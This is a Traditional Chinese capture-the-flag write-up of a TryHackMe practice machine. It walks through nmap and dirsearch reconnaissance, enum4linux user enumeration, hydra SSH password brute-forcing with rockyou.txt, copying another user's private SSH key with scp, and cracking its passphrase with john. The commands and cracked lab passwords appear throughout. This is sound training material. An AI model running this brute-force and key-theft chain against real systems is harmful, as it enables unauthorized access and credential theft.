今天開始來打一題 Try Hack Me 的題目吧!這一題可以學習到幾種常見的暴力破解相關技術。
10.10.165.235
當我們只拿到一個 IP 卻不知道可以如何下手時,第一步可以嘗試掃 Port,我使用了 nmap
程式來掃 Port,-A
代表 Enable OS detection, version detection, script scanning, and traceroute
nmap -A 10.10.165.235
Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-24 04:40 EDT
Nmap scan report for 10.10.165.235
Host is up (0.27s latency).
Not shown: 994 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 db:45:cb:be:4a:8b:71:f8:e9:31:42:ae:ff:f8:45:e4 (RSA)
| 256 09:b9:b9:1c:e0:bf:0e:1c:6f:7f:fe:8e:5f:20:1b:ce (ECDSA)
|_ 256 a5:68:2b:22:5f:98:4a:62:21:3d:a2:e2:c5:a9:f7:c2 (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
8009/tcp open ajp13 Apache Jserv (Protocol v1.3)
| ajp-methods:
|_ Supported methods: GET HEAD POST OPTIONS
8080/tcp open http Apache Tomcat 9.0.7
|_http-favicon: Apache Tomcat
|_http-title: Apache Tomcat/9.0.7
Service Info: Host: BASIC2; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
|_clock-skew: mean: 1h20m01s, deviation: 2h18m34s, median: 0s
|_nbstat: NetBIOS name: BASIC2, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb-os-discovery:
| OS: Windows 6.1 (Samba 4.3.11-Ubuntu)
| Computer name: basic2
| NetBIOS computer name: BASIC2\x00
| Domain name: \x00
| FQDN: basic2
|_ System time: 2021-07-24T04:41:05-04:00
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2021-07-24T08:41:04
|_ start_date: N/A
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 52.95 seconds
python3 dirsearch.py -u http://10.10.165.235/ -e all
development
/development/
,可以找到裡面有兩封Email
J
跟 自稱 K
的人在對話enum4linux
來暴力的透過 SMB 協定尋找使用者的帳號
enum4linux 10.10.165.235 -a
kay
跟 jan
的使用者名稱kay
跟 jan
這兩個使用者的名稱,因此可以試著對這兩組帳號進行暴力破解
hydra
-l 使用者名稱
-P 字典檔
rockyou.txt
hydra
與 rockyou.txt
暴力破解
hydra -l kay -P /opt/rockyou.txt ssh://10.10.165.235
hydra -l jan -P /opt/rockyou.txt ssh://10.10.165.235
jan
的密碼是 armando
jan
ssh jan@10.10.165.235
kay
的使用者jan
使用者後,發現可以訪問 /home/kay/pass.bak
, 不過我們沒有 pass.bak
的訪問權限
kay
資料夾底下有 /home/kay/.ssh
資料夾
jan
的身分走 ssh 的通道傳輸資料
scp -r jan@10.10.165.235:/home/kay/.ssh .
chmod 600 id_rsa
-i
進行登入
ssh kay@10.10.165.235 -i id_rsa
id_rsa
有密碼 QQpython ssh2john.py id_rsa > john_ssh
john john_ssh --wordlist=/opt/rockyou.txt
beeswax
感覺這個題目不斷的在做暴力破解的動作,感覺滿無聊的 QQ。不過在現實生活中,暴力破解、使用弱密碼真的是非常常見的事情。